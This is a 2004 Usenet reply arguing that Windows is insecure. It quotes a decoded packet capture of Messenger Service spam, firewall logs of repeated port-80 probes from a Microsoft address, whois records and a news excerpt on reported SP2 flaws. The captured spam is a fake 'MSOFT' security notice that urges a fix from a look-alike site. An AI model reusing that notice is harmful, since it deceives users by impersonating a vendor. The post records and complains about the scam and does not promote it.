Re: I am REALLY Getting Tired of Probes on 445 and 135

From: jayjwa (jayjwa_at_nowhere.org)
Date: 11/17/04


Date: Wed, 17 Nov 2004 02:44:58 -0000


On 2004-11-14, Leythos <void@nowhere.org> wrote:

>> > I think that all ISP's
>> > should force NAT on users via their DSL/Cable modems, and all of the
>> > DSL/Cable modems should block outbound 135~139/445/1433/1434. There is
>> > no valid reason to connect on those ports - that's what a VPN is for.
>>
>> I don't. Why should I have any of my Internet access restricted in any way due
>> to MS and their legions of users running their glass-jawed OS? If I'm paying
>> for Internet access, I want *full* Internet access, not just the ports that
>> are "safe" (the ones that there's no MS virus/exploit written for yet).
>>
>> Following this logic, we should then also block all 1025, 1026, 2145, 5000,
>> 5554, 6129, 9898, 12345, 17300, and 31337?
>
> because it's not YOUR internet access, it's a service provided by the
> ISP and they can change it at any time without your permission.

Sure...and *I* can then take my money and give it to an ISP that doesn't do
such nonsense.

> While you may not like it, MS machines are the most compromised on the
> net and there is little going to change about that. If you're not using

100% agreed

> a MS machine then blocking those ports (the ones I mentioned) would mean
> little, if anything, to your system. Since the ports I mentioned are not
> something that should be used "across" the internet by MS machines,
> there is little reason to expose them on networks being used by MS
> systems, in fact, it might increase everyone's performance if they were
> blocked.

There are other implementations of SMB and even netbios than MS's:
http://www.samba.org/

> One last thing - nice troll on the MS OS, it's actually quite stable,
> quite securable, and quite easy to manage once you learn it, much the
> same as Linux.

Stable? Like when rebooting is the norm, required constantly (remove an app:
reboot. Upgrade something: reboot. Change a setting: reboot. Reboot: reboot. )
Rebooting systems aren't stable. Ever run more than 3 things to once each in
its own "window"? reminds me of task *switching*, not real multi-tasking. The
desktop becomes discolored. Apps hang. Parts of the OS simply "disappear". I'm
forced into using W32 frequently, and I've used Windows since 3.1. Little has
changed. The browser is integrated into the OS.
After cleaning an infect machine I had all but disabled MSIE; then, used
something completely unrelated to IE, and here comes IE... Pop! On flashes the
AV- Warning DSO exploit attempt. Currently there are major vulnerabilities for
it which have no patch (read Full Disclosure). How is that secure? MS takes
months to fix even trivial bugs. If at all. How is that secure? The fact that
there's hundreds of thousands of viruses for Windows is a testament to just
how easy it is to gain control of the OS from outside. Spyware? Adware? Those
are, again, purely MS Windows problems. If fact, amazingly, you can not
connect a brand new Windows XP system out of the box to the Internet and *not*
have it get owned. That's pretty bad. Find any Windows system on the 'Net-
they're the ones with port 1025, 1026, or 1027 open to the world, flapping in
the breeze. Tons of useless "services" enabled by default. Most users don't
know they even exist. port 5000. Windows 'Networking'. Messenger Spam:

Frame 1 (825 bytes on wire, 825 bytes captured)
    Arrival Time: Nov 16, 2004 00:46:39.779560000
    Time delta from previous packet: 0.000000000 seconds
    Time since reference or first frame: 0.000000000 seconds
    Frame Number: 1
    Packet Length: 825 bytes
    Capture Length: 825 bytes
Linux cooked capture
    Packet type: Unicast to us (0)
    Link-layer address type: 512
    Link-layer address length: 0
    Source: <MISSING>
    Protocol: IP (0x0800)
Internet Protocol, Src Addr: 70.240.112.68 (70.240.112.68), Dst Addr: 64.179.7.203 (64.179.7.203)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
        0000 00.. = Differentiated Services Codepoint: Default (0x00)
        .... ..0. = ECN-Capable Transport (ECT): 0
        .... ...0 = ECN-CE: 0
    Total Length: 809
    Identification: 0xd9ea (55786)
    Flags: 0x00
        0... = Reserved bit: Not set
        .0.. = Don't fragment: Not set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 108
    Protocol: UDP (0x11)
    Header checksum: 0x7227 (correct)
    Source: 70.240.112.68 (70.240.112.68)
    Destination: 64.179.7.203 (64.179.7.203)
User Datagram Protocol, Src Port: 21902 (21902), Dst Port: 1026 (1026)
    Source port: 21902 (21902)
    Destination port: 1026 (1026)
    Length: 789
    Checksum: 0x0000 (none)
DCE RPC
    Version: 4
    Packet type: Request (0)
    Flags1: 0x28
        0... .... = Reserved: Not set
        .0.. .... = Broadcast: Not set
        ..1. .... = Idempotent: Set
        ...0 .... = Maybe: Not set
        .... 1... = No Fack: Set
        .... .0.. = Fragment: Not set
        .... ..0. = Last Fragment: Not set
        .... ...0 = Reserved: Not set
    Flags2: 0x00
        0... .... = Reserved: Not set
        .0.. .... = Reserved: Not set
        ..0. .... = Reserved: Not set
        ...0 .... = Reserved: Not set
        .... 0... = Reserved: Not set
        .... .0.. = Reserved: Not set
        .... ..0. = Cancel Pending: Not set
        .... ...0 = Reserved: Not set
    Data Representation: 100000
        Byte order: Little-endian (1)
        Character: ASCII (0)
        Floating-point: IEEE (0)
    Serial High: 0x00
    Object UUID: 00000000-0000-0000-0000-000000000000
    Interface: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc
    Activity: fc125ffc-5cdc-d83a-cd35-6be5d09f7312
    Server boot time: Unknown (0)
    Interface Ver: 1
    Sequence num: 0
    Opnum: 0
    Interface Hint: 0xffff
    Activity Hint: 0xffff
    Fragment len: 701
    Fragment num: 0
    Auth proto: None (0)
    Serial Low: 0x00
Microsoft Messenger Service, NetrSendMessage
    Operation: NetrSendMessage (0)
    Server
        Max Count: 10
        Offset: 0
        Actual Count: 10
        Server: UPDATENOW
    Client
        Max Count: 10
        Offset: 0
        Actual Count: 10
        Client: WINDOWS
    Message
        Max Count: 641
        Offset: 0
        Actual Count: 641
        Message: Important Notice From MSOFT\r\n\r\n
                Buffer Overflow in Messenger Service Allows Unexpected
                Computer Shutdown,\r\nVirus Infection and Remote Code
                Execution\r\n\r\nAffected Software: \r\n\r\nMicrosoft
                Windows NT Workstation \r\nMicro

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0090 57 00 00 00 0a 00 00 00 00 00 00 00 0a 00 00 00 W...............
00a0 57 49 4e 44 4f 57 53 00 00 00 00 00 81 02 00 00 WINDOWS.........
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0300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
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0330 45 4e 4f 57 2e 4f 52 47 00 ENOW.ORG.

Microsoft's *own machines* are infested with the same viruses that
plague their customers:

On going for several months now, the machine at IP address 207.46.98.138
has targeted my host endlessly, attempting multiple times to connect to
TCP port 80 with one hour, every hour. According to whois listings, this
is the address of:

OrgName: Microsoft Corp
OrgID: MSFT
Address: One Microsoft Way
City: Redmond
StateProv: WA
PostalCode: 98052
Country: US

NetRange: 207.46.0.0 - 207.46.255.255
CIDR: 207.46.0.0/16
NetName: MICROSOFT-GLOBAL-NET
NetHandle: NET-207-46-0-0-1
Parent: NET-207-0-0-0-0
NetType: Direct Assignment
NameServer: DNS1.CP.MSFT.NET
NameServer: DNS2.CP.MSFT.NET
NameServer: DNS1.TK.MSFT.NET
NameServer: DNS1.DC.MSFT.NET
NameServer: DNS1.SJ.MSFT.NET
Comment:
RegDate: 1997-03-31
Updated: 2002-12-05

TechHandle: ZM39-ARIN
TechName: Microsoft
TechPhone: +1-425-936-4200
TechEmail: noc@microsoft.com

OrgAbuseHandle: HOTMA-ARIN
OrgAbuseName: Hotmail Abuse
OrgAbusePhone: +1-425-882-8080
OrgAbuseEmail: abuse@hotmail.com

OrgAbuseHandle: MSNAB-ARIN
OrgAbuseName: MSN ABUSE
OrgAbusePhone: +1-425-882-8080
OrgAbuseEmail: abuse@msn.com

OrgAbuseHandle: ABUSE231-ARIN
OrgAbuseName: Abuse
OrgAbusePhone: +1-425-882-8080
OrgAbuseEmail: abuse@microsoft.com

OrgNOCHandle: ZM23-ARIN
OrgNOCName: Microsoft Corporation
OrgNOCPhone: +1-425-882-8080
OrgNOCEmail: noc@microsoft.com

OrgTechHandle: MSFTP-ARIN
OrgTechName: MSFT-POC
OrgTechPhone: +1-425-882-8080
OrgTechEmail: iprrms@microsoft.com

# ARIN WHOIS database, last updated 2004-11-12 19:10

Several email notices of abuse have been sent to abuse@microsoft.com. There
has been no reply. Listed at http://www.mynetwatchman.com/LID.asp?IID=116661437
one can see an incident write-up for this host, for the same issues. Here is
a typical example of log activity:

<Fri Nov 12 09:18:32 2004> 207.46.98.138:4154 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 09:18:35 2004> 207.46.98.138:4154 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 09:18:41 2004> 207.46.98.138:4154 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 09:30:52 2004> 207.46.98.138:1624 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 09:30:55 2004> 207.46.98.138:1624 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 09:31:01 2004> 207.46.98.138:1624 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 09:42:48 2004> 207.46.98.138:4239 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 09:42:51 2004> 207.46.98.138:4239 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 09:42:58 2004> 207.46.98.138:4239 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 10:03:17 2004> 207.46.98.138:3275 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 10:03:20 2004> 207.46.98.138:3275 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 10:03:26 2004> 207.46.98.138:3275 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 11:47:56 2004> 207.46.98.138:3979 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 11:47:59 2004> 207.46.98.138:3979 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 11:48:05 2004> 207.46.98.138:3979 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 11:59:04 2004> 207.46.98.138:3023 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 11:59:07 2004> 207.46.98.138:3023 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 11:59:13 2004> 207.46.98.138:3023 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:12:01 2004> 207.46.98.138:4406 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:12:04 2004> 207.46.98.138:4406 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:12:10 2004> 207.46.98.138:4406 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:23:32 2004> 207.46.98.138:4777 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:23:35 2004> 207.46.98.138:4777 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:23:41 2004> 207.46.98.138:4777 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:34:44 2004> 207.46.98.138:1467 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:34:47 2004> 207.46.98.138:1467 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:34:53 2004> 207.46.98.138:1467 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:47:16 2004> 207.46.98.138:3610 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:47:19 2004> 207.46.98.138:3610 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:47:25 2004> 207.46.98.138:3610 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:57:50 2004> 207.46.98.138:4787 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:57:53 2004> 207.46.98.138:4787 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 12:57:59 2004> 207.46.98.138:4787 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:08:43 2004> 207.46.98.138:1966 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:08:46 2004> 207.46.98.138:1966 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:08:52 2004> 207.46.98.138:1966 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:19:12 2004> 207.46.98.138:4653 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:19:15 2004> 207.46.98.138:4653 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:19:21 2004> 207.46.98.138:4653 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:32:44 2004> 207.46.98.138:4484 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:32:47 2004> 207.46.98.138:4484 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:32:53 2004> 207.46.98.138:4484 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:44:41 2004> 207.46.98.138:3287 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:44:44 2004> 207.46.98.138:3287 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 13:44:50 2004> 207.46.98.138:3287 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:07:21 2004> 207.46.98.138:4903 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:07:24 2004> 207.46.98.138:4903 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:07:30 2004> 207.46.98.138:4903 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:18:40 2004> 207.46.98.138:4479 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:18:43 2004> 207.46.98.138:4479 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:18:49 2004> 207.46.98.138:4479 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:32:06 2004> 207.46.98.138:4176 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:32:09 2004> 207.46.98.138:4176 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:32:15 2004> 207.46.98.138:4176 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:46:26 2004> 207.46.98.138:4328 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:46:29 2004> 207.46.98.138:4328 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:46:35 2004> 207.46.98.138:4328 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:57:33 2004> 207.46.98.138:4713 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:57:37 2004> 207.46.98.138:4713 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 14:57:43 2004> 207.46.98.138:4713 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:10:01 2004> 207.46.98.138:3596 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:10:04 2004> 207.46.98.138:3596 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:10:10 2004> 207.46.98.138:3596 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:21:49 2004> 207.46.98.138:4955 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:21:52 2004> 207.46.98.138:4955 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:21:58 2004> 207.46.98.138:4955 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:34:24 2004> 207.46.98.138:1282 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:34:27 2004> 207.46.98.138:1282 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:34:33 2004> 207.46.98.138:1282 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:45:20 2004> 207.46.98.138:4191 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:45:23 2004> 207.46.98.138:4191 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:45:30 2004> 207.46.98.138:4191 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:56:50 2004> 207.46.98.138:1175 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:56:53 2004> 207.46.98.138:1175 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 15:56:59 2004> 207.46.98.138:1175 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 17:44:43 2004> 207.46.98.138:3785 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 17:44:46 2004> 207.46.98.138:3785 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 17:44:52 2004> 207.46.98.138:3785 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 17:58:14 2004> 207.46.98.138:3804 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 17:58:17 2004> 207.46.98.138:3804 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 17:58:23 2004> 207.46.98.138:3804 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:09:31 2004> 207.46.98.138:3420 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:09:34 2004> 207.46.98.138:3420 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:09:40 2004> 207.46.98.138:3420 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:21:14 2004> 207.46.98.138:3732 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:21:17 2004> 207.46.98.138:3732 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:21:23 2004> 207.46.98.138:3732 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:33:35 2004> 207.46.98.138:1771 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:33:38 2004> 207.46.98.138:1771 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 18:33:44 2004> 207.46.98.138:1771 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:12:16 2004> 207.46.98.138:1201 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:12:19 2004> 207.46.98.138:1201 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:12:25 2004> 207.46.98.138:1201 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:23:35 2004> 207.46.98.138:3296 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:23:38 2004> 207.46.98.138:3296 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:23:44 2004> 207.46.98.138:3296 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:37:21 2004> 207.46.98.138:1363 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:37:24 2004> 207.46.98.138:1363 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:37:30 2004> 207.46.98.138:1363 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:48:47 2004> 207.46.98.138:3558 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:48:50 2004> 207.46.98.138:3558 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:48:56 2004> 207.46.98.138:3558 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:59:30 2004> 207.46.98.138:4545 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:59:33 2004> 207.46.98.138:4545 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Fri Nov 12 21:59:39 2004> 207.46.98.138:4545 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:18:27 2004> 207.46.98.138:4652 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:18:30 2004> 207.46.98.138:4652 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:18:36 2004> 207.46.98.138:4652 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:29:18 2004> 207.46.98.138:4190 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:29:21 2004> 207.46.98.138:4190 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:29:28 2004> 207.46.98.138:4190 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:41:02 2004> 207.46.98.138:3507 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:41:05 2004> 207.46.98.138:3507 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:41:11 2004> 207.46.98.138:3507 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:52:26 2004> 207.46.98.138:3326 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:52:29 2004> 207.46.98.138:3326 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)
<Sat Nov 13 01:52:35 2004> 207.46.98.138:3326 - Windows 2000 SP4, XP SP1 -> 64.179.13.228:80 (distance 16, link: ethernet/modem)

Reading the report, we find other hosts which have been/are being targeted:

Netblock: Number of IP's targeted:
- ----------------------------------------
216.83.x.x 7
134.29.x.x 5
192.168.x.x 1
134.29.x.x 1

They have had several notices since Oct:
http://www.mynetwatchman.com/ListIncidentActivity.asp?IncidentId=116661437

4 12 Nov 2004 17:44:51 Re-escalation sent to: abuse@microsoft.com
3 5 Nov 2004 13:31:29 Standard escalation email sent to: abuse@microsoft.com
2 21 Oct 2004 05:44:17 Re-escalation sent to: abuse@microsoft.com

The incident report at http://www.mynetwatchman.com/LID.asp?IID=116661437 lists
"HTTP Possible Nachi/CodeRed/Nimda" under "Issue Description". I heard MS is making an anti-virus
software now.

It gets better. Then this article, recently released:

 "Ten new security holes in Windows XP Service Pack 2 have been discovered, so
  get ready to insert new patches into your patch management schedule.
  Microsoft recently announced their Security Bulletin Advance Notification
  Program, which gives administrators a several days advance notice of
  upcoming patches, however these new security holes were announced by
  security product maker Finjan Software.

  Finjan said their Malicious Code Research Center discovered the new
  vulnerabilities, at least some of which are very dangerous. A spokesperson
  for the company said "Finjan has provided Microsoft with full technical
  details concerning the vulnerabilities [... ]and has been assisting
  Microsoft to patch these holes. In order to prevent the creation of
  malicious viruses and worms, Finjan will not release any
  technical details about these vulnerabilities until they are fully patched
  by Microsoft."

  Shlomo Touboul, CEO and Founder of Finjan Software, said "Windows XP SP2
  operating system is a continuation of the same Windows XP Operating System
  and Windows Kernel. All Windows versions have been developed with
  requirements for highest backward compatibility and open architecture,
  with maximum productivity and ease of use. In addition, Windows applications
  typically run with administrative permission with full and unlimited
  access to computer resources."

  "This, together with the emerging technology of mobile code has created a
  situation in which active content travels freely over the web and gains
  full control of host computers. These fundamentals create a green field for
  hackers shown by constantly increasing attacks and damage over the last
  few years. A security patch of Windows operating system without changing the
  rules of the game will not be enough to fight the recent complex malicious
  code attacks such as Scob, Mydoom, and others. End users and Enterprises
  must add an independent security layer that is not dependent on the above
  fundamentals. Application level behavior blocking is the leading technology
  designed to immunize systems from both known and unknown vulnerabilities
  and exploits; viruses, worms, Trojans, spyware, phishing and other threats,"
  Touboul continued.

  The vulnerabilities discovered at Finjan could allow attackers to
  "silently and remotely" take control over an affected system when a user visits a
  malicious Web page. As you well know, enticing someone to visit a Web page
  is relatively easy to do.

  The company outlined several scenarios to better explain the risks:

  * Hackers can remotely access users' local files Windows(R) XP SP2 is
  designed to deny access to a local file in the course of Internet
  browsing. Therefore, any attempt by a remote web page to access a
  local file in any way other than downloading a file, is denied. Finjan has
  shown that this feature can be remotely compromised by hackers.
  * Hackers can switch between Internet Explorer Security Zones to obtain
  rights of local zone Internet Explorer uses the notion of security
  zones to differentiate between mobile codes by their origin. In this way,
  for example, the permissions of files running from the local hard drive
  are much higher than the permissions of code downloaded from the Internet.
  Finjan has shown that it is possible to elevate the privilege level of
  mobile code downloaded from the Internet. By gaining additional
  privileges, the remote code could read, write and execute files on the
  user's hard drive.
  * Hackers can bypass SP2's notification mechanism on the download and
  execution of EXE files and therefore download files without any
  warning or notification One of the mechanisms that have been implemented in
  SP2 is the verification of the download and the execution of content
  arriving from the Internet. This mechanism is implemented by three new
  features - an information bar inside Internet Explorer which filters
  and blocks unauthorized operations performed by web pages, a file download
  dialog which requires the user's confirmation for file save and
  execution operations, and
  an execution verification dialog. These features are important to
  prevent unauthorized silent "drive-by" installations of malicious
  software."

This just doesn't happen to any other OS:
http://isc.sans.org/diary.php?date=2004-07-23

Some ascii strings examples of this fine programming
(from several files removed from a Win XP SP1 machine recently):
